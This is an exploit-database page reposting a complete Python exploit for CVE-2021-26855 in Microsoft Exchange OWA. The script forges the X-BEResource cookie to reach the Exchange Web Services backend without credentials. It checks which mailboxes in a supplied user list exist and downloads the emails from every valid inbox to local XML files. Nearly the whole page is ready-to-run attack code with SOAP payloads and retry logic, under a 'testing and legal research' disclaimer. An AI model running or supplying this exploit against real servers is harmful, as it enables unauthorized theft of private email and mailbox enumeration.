Advertisement






Microsoft Exchange 2019 Unauthenticated Email Download

CVE Category Price Severity
CVE-2021-26855 CWE-601 Not specified Critical
Author Risk Exploitation Type Date
Not specified High Remote 2021-07-26
CPE
cpe:cpe:/a:microsoft:exchange_server:2019
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070140

Below is a copy:

Microsoft Exchange 2019 Unauthenticated Email Download
# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download
# Date: 03-11-2021
# Exploit Author: Gonzalo Villegas a.k.a Cl34r
# Vendor Homepage: https://www.microsoft.com/
# Version: OWA Exchange 2013 - 2019
# Tested on: OWA 2016
# CVE : CVE-2021-26855
# Details: checking users mailboxes and automated downloads of emails

import requests
import argparse
import time

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

__proxies__ = {"http": "http://127.0.0.1:8080",
               "https": "https://127.0.0.1:8080"}  # for debug on proxy


# needs to specifies mailbox, will return folder Id if account exists
payload_get_folder_id = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Body>
                    <m:GetFolder>
                        <m:FolderShape>
                            <t:BaseShape>AllProperties</t:BaseShape>
                        </m:FolderShape>
                        <m:FolderIds>
                            <t:DistinguishedFolderId Id="inbox">
                                <t:Mailbox>
                                    <t:EmailAddress>{}</t:EmailAddress>
                                </t:Mailbox>
                            </t:DistinguishedFolderId>
                        </m:FolderIds>
                    </m:GetFolder>
                </soap:Body>
            </soap:Envelope>

"""
# needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails)
payload_get_items_id_folder = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
            <m:FindItem Traversal="Shallow">
               <m:ItemShape>
            <BaseShape>AllProperties</BaseShape></m:ItemShape>
               <SortOrder/>
             <m:ParentFolderIds>
                    <t:FolderId Id="{}" ChangeKey="{}"/>
                  </m:ParentFolderIds>
               <QueryString/>
            </m:FindItem>
            </soap:Body>
</soap:Envelope>
"""

# needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox
payload_get_mail = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Body>
            <GetItem   xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" Traversal="Shallow">
            <ItemShape>
            <t:BaseShape>Default</t:BaseShape>
            </ItemShape>
            <ItemIds>
            <t:ItemId Id="{}" ChangeKey="{}"/>
            </ItemIds>
            </GetItem>
                </soap:Body>
            </soap:Envelope>
"""


def getFQDN(url):
    print("[*] Getting FQDN from headers")
    rs = requests.post(url + "/owa/auth.owa", verify=False, data="evildata")
    if "X-FEServer" in rs.headers:
        return rs.headers["X-FEServer"]
    else:
        print("[-] Can't get FQDN ")
        exit(0)


def extractEmail(url, uri, user, fqdn, content_folderid, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla pwner"}
    from xml.etree import ElementTree as ET
    dom = ET.fromstring(content_folderid)
    for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'):
        id_folder = p[0].attrib.get("Id")
        change_key_folder = p[0].attrib.get("ChangeKey")
        data = payload_get_items_id_folder.format(id_folder, change_key_folder)
        random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
        rs = requests.post(url + uri, data=data, headers=headers, verify=False)
        if "ErrorAccessDenied" in rs.text:
            print("[*] Denied ;(.. retrying")
            t_uri = uri.split("/")[-1]
            for ru in random_uris:
                print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
                rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
                if "NoError" in rs.text:
                    print("[+] data found, dowloading email")
                    break
        print("[+]Getting mails...")
        dom_messages = ET.fromstring(rs.text)
        messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items')
        for m in messages:
            id_message = m[0].attrib.get("Id")
            change_key_message = m[0].attrib.get("ChangeKey")
            data = payload_get_mail.format(id_message, change_key_message)
            random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
            rs = requests.post(url + uri, data=data, headers=headers, verify=False)
            if "ErrorAccessDenied" in rs.text:
                print("[*] Denied ;(.. retrying")
                t_uri = uri.split("/")[-1]
                for ru in random_uris:
                    print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
                    rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
                    if "NoError" in rs.text:
                        print("[+] data found, downloading email")
                        break

            try:
                f = open(path + "/" + user.replace("@", "_").replace(".", "_")+"_"+change_key_message.replace("/", "").replace("\\", "")+".xml", 'w+')
                f.write(rs.text)
                f.close()
            except Exception as e:
                print("[!] Can't write .xml file to path (email): ", e)


def checkURI(url, fqdn):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla hehe"}
    arr_uri = ["//ecp/xxx.js", "/ecp/favicon.ico", "/ecp/auth.js"]
    for uri in arr_uri:
        rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format("[email protected]"),
                           headers=headers)
        #print(rs.content)
        if rs.status_code == 200 and "MessageText" in rs.text:
            print("[+] Valid URI:", uri)
            calculated_domain = rs.headers["X-CalculatedBETarget"].split(".")
            if calculated_domain[-2] in ("com", "gov", "gob", "edu", "org"):
                calculated_domain = calculated_domain[-3] + "." + calculated_domain[-2] + "." + calculated_domain[-1]
            else:
                calculated_domain = calculated_domain[-2] + "." + calculated_domain[-1]
            return uri, calculated_domain
        #time.sleep(1)
    print("[-] No valid URI found ;(")
    exit(0)


def checkEmailBoxes(url, uri, user, fqdn, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla hehe"}
    rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user),
                       headers=headers)
    #time.sleep(1)
    #print(rs.content)
    if "ResponseCode" in rs.text and "ErrorAccessDenied" in rs.text:
        print("[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable".format(user))
    if "ResponseCode" in rs.text and "NoError" in rs.text:
        print("[+] Valid Email Found!: {}".format(user))
        extractEmail(url, uri, user, fqdn, rs.text, path)
    if "ResponseCode" in rs.text and "ErrorNonExistentMailbox" in rs.text:
        print("[-] Not Valid Email: {}".format(user))


def main():
    __URL__ = None
    __FQDN__ = None
    __mailbox_domain__ = None
    __path__ = None
    print("[***** OhhWAA *****]")
    parser = argparse.ArgumentParser(usage="Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>")
    parser.add_argument('-u', "--url", help="Url, provide schema and not final / (eg https://example.org)", required=True)
    parser.add_argument('-l', "--list", help="Users mailbox list", required=True)
    parser.add_argument("-p", "--path", help="Path to write emails in xml format", required=True)
    parser.add_argument('-f', "--fqdn", help="FQDN", required=False, default=None)
    parser.add_argument("-d", "--domain", help="Domain to check mailboxes (eg if .local dont work)", required=False, default=None)
    args = parser.parse_args()
    __URL__ = args.url
    __FQDN__ = args.fqdn
    __mailbox_domain__ = args.domain
    __list_users__ = args.list
    __valid_users__ = []
    __path__ = args.path
    if not __FQDN__:
        __FQDN__ = getFQDN(__URL__)
        print("[+] Got FQDN:", __FQDN__)

    valid_uri, calculated_domain = checkURI(__URL__, __FQDN__)

    if not __mailbox_domain__:
        __mailbox_domain__ = calculated_domain

    list_users = open(__list_users__, "r")
    for user in list_users:
        checkEmailBoxes(__URL__, valid_uri, user.strip()+"@"+__mailbox_domain__, __FQDN__, __path__)

    print("[!!!] FINISHED OhhWAA")


if __name__ == '__main__':
    main()

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum